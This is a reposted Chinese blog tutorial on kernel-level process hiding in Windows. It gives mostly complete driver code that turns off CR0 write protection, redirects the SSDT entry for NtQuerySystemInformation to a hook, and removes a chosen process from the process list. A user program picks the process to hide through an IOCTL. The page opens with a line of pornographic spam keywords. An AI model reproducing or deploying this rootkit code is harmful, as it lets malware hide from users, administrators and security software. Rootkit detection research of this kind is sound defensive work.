小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

進(jìn)程隱藏的實現(xiàn)

 旋風(fēng)~小馬 2010-03-28

內(nèi)核級進(jìn)程隱藏與偵測一

(2006-11-13 16:17:40)
 
進(jìn)程隱藏的實現(xiàn)
通過Hook SSDT (System Service Dispath Table) 隱藏進(jìn)程
1.原理介紹:

       Windows操作系統(tǒng)是一種分層的架構(gòu)體系。應(yīng)用層的程序是通過API來訪問操作系統(tǒng)。而API又是通過ntdll里面的核心API來進(jìn)行系統(tǒng)服務(wù)的查詢。核心API通過對int 2e的切換,從用戶模式轉(zhuǎn)換到內(nèi)核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個函數(shù)KiSystemService()來實現(xiàn)的。在你使用了一個系統(tǒng)調(diào)用時,必須首先裝載要調(diào)用的函數(shù)索引號到EAX寄存器中。把指向參數(shù)區(qū)的指針被保存在EDX寄存器中。中斷調(diào)用后,EAX寄存器保存了返回的結(jié)果。KiSystemService()是根據(jù)EAX的值來決定哪個函數(shù)將被調(diào)用。而系統(tǒng)在SSDT中維持了一個數(shù)組,專門用來索引特定的函數(shù)服務(wù)地址。在Windows 2000中有一個未公開的由ntoskrnl.exe導(dǎo)出的KeServiceDescriptorTable變量,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應(yīng)于一個數(shù)據(jù)結(jié)構(gòu),定義如下:

typedef struct SystemServiceDescriptorTable
{
    UINT    *ServiceTableBase;
    UINT    *ServiceCounterTableBase;
    UINT    NumberOfService;
    UCHAR    
*ParameterTableBase;
}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;

其中ServiceTableBase指向系統(tǒng)服務(wù)程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數(shù)地址,它們都包含了NumberOfService這么多個數(shù)組單元。在windows 2000 sp4中NumberOfService的數(shù)目是248個。

我們的任務(wù)管理器,是通過用戶層的API來枚舉當(dāng)前的進(jìn)程的。Ring3級枚舉的方法:

" PSAPI

EnumProcesses()

" ToolHelp32

Process32First()

- Process32Next()

來對進(jìn)程進(jìn)行枚舉。而她們最后都是通過NtQuerySystemInformation來進(jìn)行查詢的。所以我們只需要Hook掉NtQuerySystemInformation,把真實NtQuerySystemInformation返回的數(shù)進(jìn)行添加或者是刪改,就能有效的欺騙上層API。從而達(dá)到隱藏特定進(jìn)程的目的。

2. Hook

Windows2000中NtQuerySystemInformation在SSDT里面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個DWORD類型的讀出來保存一個全局變量中然后再把她重新賦值成一個新的Hook函數(shù)的地址,就完成了Hook。

OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];

KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;

在其他系統(tǒng)中這個號就不一定一樣。所以必須找一種通用的辦法來得到這個索引號。在《Undocument Nt》中介紹了一種辦法可以解決這個通用問題,從未有效的避免了使用硬編碼。在ntoskrnl 導(dǎo)出的 ZwQuerySystemInformation中包含有索引號的硬編碼:

kd> u ZwQuerySystemInformation

804011aa    b897000000      mov         eax,0x97

804011af    8d542404        lea         edx,[esp+0x4]

804011b3    cd2e            int         2e

804011b5    c21000          ret         0x10

所以只需要把ZwQuerySystemInformation入口處的第二個字節(jié)取出來就能得到相應(yīng)的索引號了。例如:

ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);

RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation;

3.對NtQuerySystemInformation返回的數(shù)據(jù)進(jìn)行刪改

NtQuerySystemInformation的原型:

NtQuerySystemInformation(

        IN ULONG SystemInformationClass,   //查詢系統(tǒng)服務(wù)類型

        IN PVOID SystemInformation,        //接收系統(tǒng)信息緩沖區(qū)

        IN ULONG SystemInformationLength,   //接收信息緩沖區(qū)大小

        OUT PULONG ReturnLength);       //實際接收到的大小

NtQuerySystemInformation可以對系統(tǒng)的很多狀態(tài)進(jìn)行查詢,不僅僅是對進(jìn)程的查詢,通過SystemInformationClass號來區(qū)分功能,當(dāng)SystemInformationClass等于5的時候是在進(jìn)行進(jìn)程的查詢。此時返回的SystemInformation 是一個 _SYSTEM_PROCESSES結(jié)構(gòu)。

struct _SYSTEM_PROCESSES

{

    ULONG NextEntryDelta;   //下一個進(jìn)程信息的偏移量,如果為0表示無一個進(jìn)程信息

    ULONG ThreadCount;     //線程數(shù)量

    ULONG Reserved[6];     //

    LARGE_INTEGER CreateTime;      //創(chuàng)建進(jìn)程的時間

    LARGE_INTEGER UserTime;         //進(jìn)程中所有線程在用戶模式運(yùn)行時間的總和

    LARGE_INTEGER KernelTime;      //進(jìn)程中所有線程在內(nèi)核模式運(yùn)行時間的總和

    UNICODE_STRING ProcessName;     //進(jìn)程的名字

    KPRIORITY BasePriority;         //線程的缺省優(yōu)先級

    ULONG ProcessId;                //進(jìn)程ID號

    ULONG InheritedFromProcessId;  //繼承語柄的進(jìn)程ID號

    ULONG HandleCount;              //進(jìn)程打開的語柄數(shù)量   

    ULONG Reserved2[2];             // 

    VM_COUNTERS VmCounters;         //虛擬內(nèi)存的使用情況統(tǒng)計

    IO_COUNTERS IoCounters;         //IO操作的統(tǒng)計,Only For 2000

    struct _SYSTEM_THREADS Threads[1]; //描述進(jìn)程中各線程的數(shù)組

};

當(dāng)NextEntryDelta域等于0時表示已經(jīng)到了進(jìn)程信息鏈的末尾。我們要做的僅僅是把要隱藏的進(jìn)程從鏈中刪除。
 

4. 核心實現(xiàn)

//系統(tǒng)服務(wù)表入口地址

extern PServiceDescriptorTableEntry KeServiceDescriptorTable;

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)

{

    ……

    __asm{

        mov eax, cr0

        mov CR0VALUE, eax

        and eax, 0fffeffffh //DisableWriteProtect

        mov cr0, eax

    }

    //取得原來ZwQuerySystemInformation的入口地址

RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );

    //Hook

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;

    //EnableWriteProtect

    __asm

    {

        mov eax, CR0VALUE

        mov cr0, eax

    }

    ……

    return STATUS_SUCCESS;

}

VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)

{

    ……

    //UnHook恢復(fù)系統(tǒng)服務(wù)的原始入口地址

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;

    ……

}

NTSTATUS HookFunc(

        IN ULONG SystemInformationClass,

        IN PVOID SystemInformation,

        IN ULONG SystemInformationLength,

        OUT PULONG ReturnLength)

{

    NTSTATUS rc;

    struct _SYSTEM_PROCESSES *curr;

    // 保存上一個進(jìn)程信息的指針

    struct _SYSTEM_PROCESSES *prev = NULL;

    //調(diào)用原函數(shù)

    rc = (RealZwQuerySystemInformation) (

        SystemInformationClass,

        SystemInformation,

        SystemInformationLength, ReturnLength);

    if(NT_SUCCESS(rc))

    {

if(5 == SystemInformationClass)

//如果系統(tǒng)查詢類型是SystemProcessesAndThreadsInformation

        {

            curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

            //加第一個偏移量得到第一個system進(jìn)程的信息首地址

            if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);

            while(curr)

            {

if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)

                {

                    //找到要隱藏的進(jìn)程

                    if(prev)

                    {

                       

                        if(curr->NextEntryDelta)

                        {

                            //要刪除的信息在中間

                            prev->NextEntryDelta += curr->NextEntryDelta;

                        }

                        else

                        {

                            //要刪除的信息在末尾

                            prev->NextEntryDelta = 0;

                        }

                    }

                    else

                    {

                        if(curr->NextEntryDelta)

                        {

                            //要刪除的信息在開頭

                            (char *)SystemInformation += curr->NextEntryDelta;

                        }

                        else

                        {

                            SystemInformation = NULL;

                        }

                    }

                    //如果鏈下一個還有其他的進(jìn)程信息,指針往后移

                    if(curr->NextEntryDelta)

((char*)curr+=curr->NextEntryDelta);                    else

                    {

                        curr = NULL;

                        break;

                    }

                }

                if(curr != NULL)

                {

                    //把當(dāng)前指針設(shè)置成前一個指針,當(dāng)前指針后移

                    prev = curr;

                    if(curr->NextEntryDelta)

((char*)curr+=curr->NextEntryDelta);

                    else curr = NULL;

                }

            } // end while(curr)

        }

    }

    return rc;

}

通過IOCTL和Ring3級的應(yīng)用程序通過DeviceIoControl(API)交互信息。Ring3級的用戶程序使用,

DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,

NULL,0,& BytesReturned,NULL)來通知驅(qū)動程序要隱藏的進(jìn)程的名字。

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點(diǎn)擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多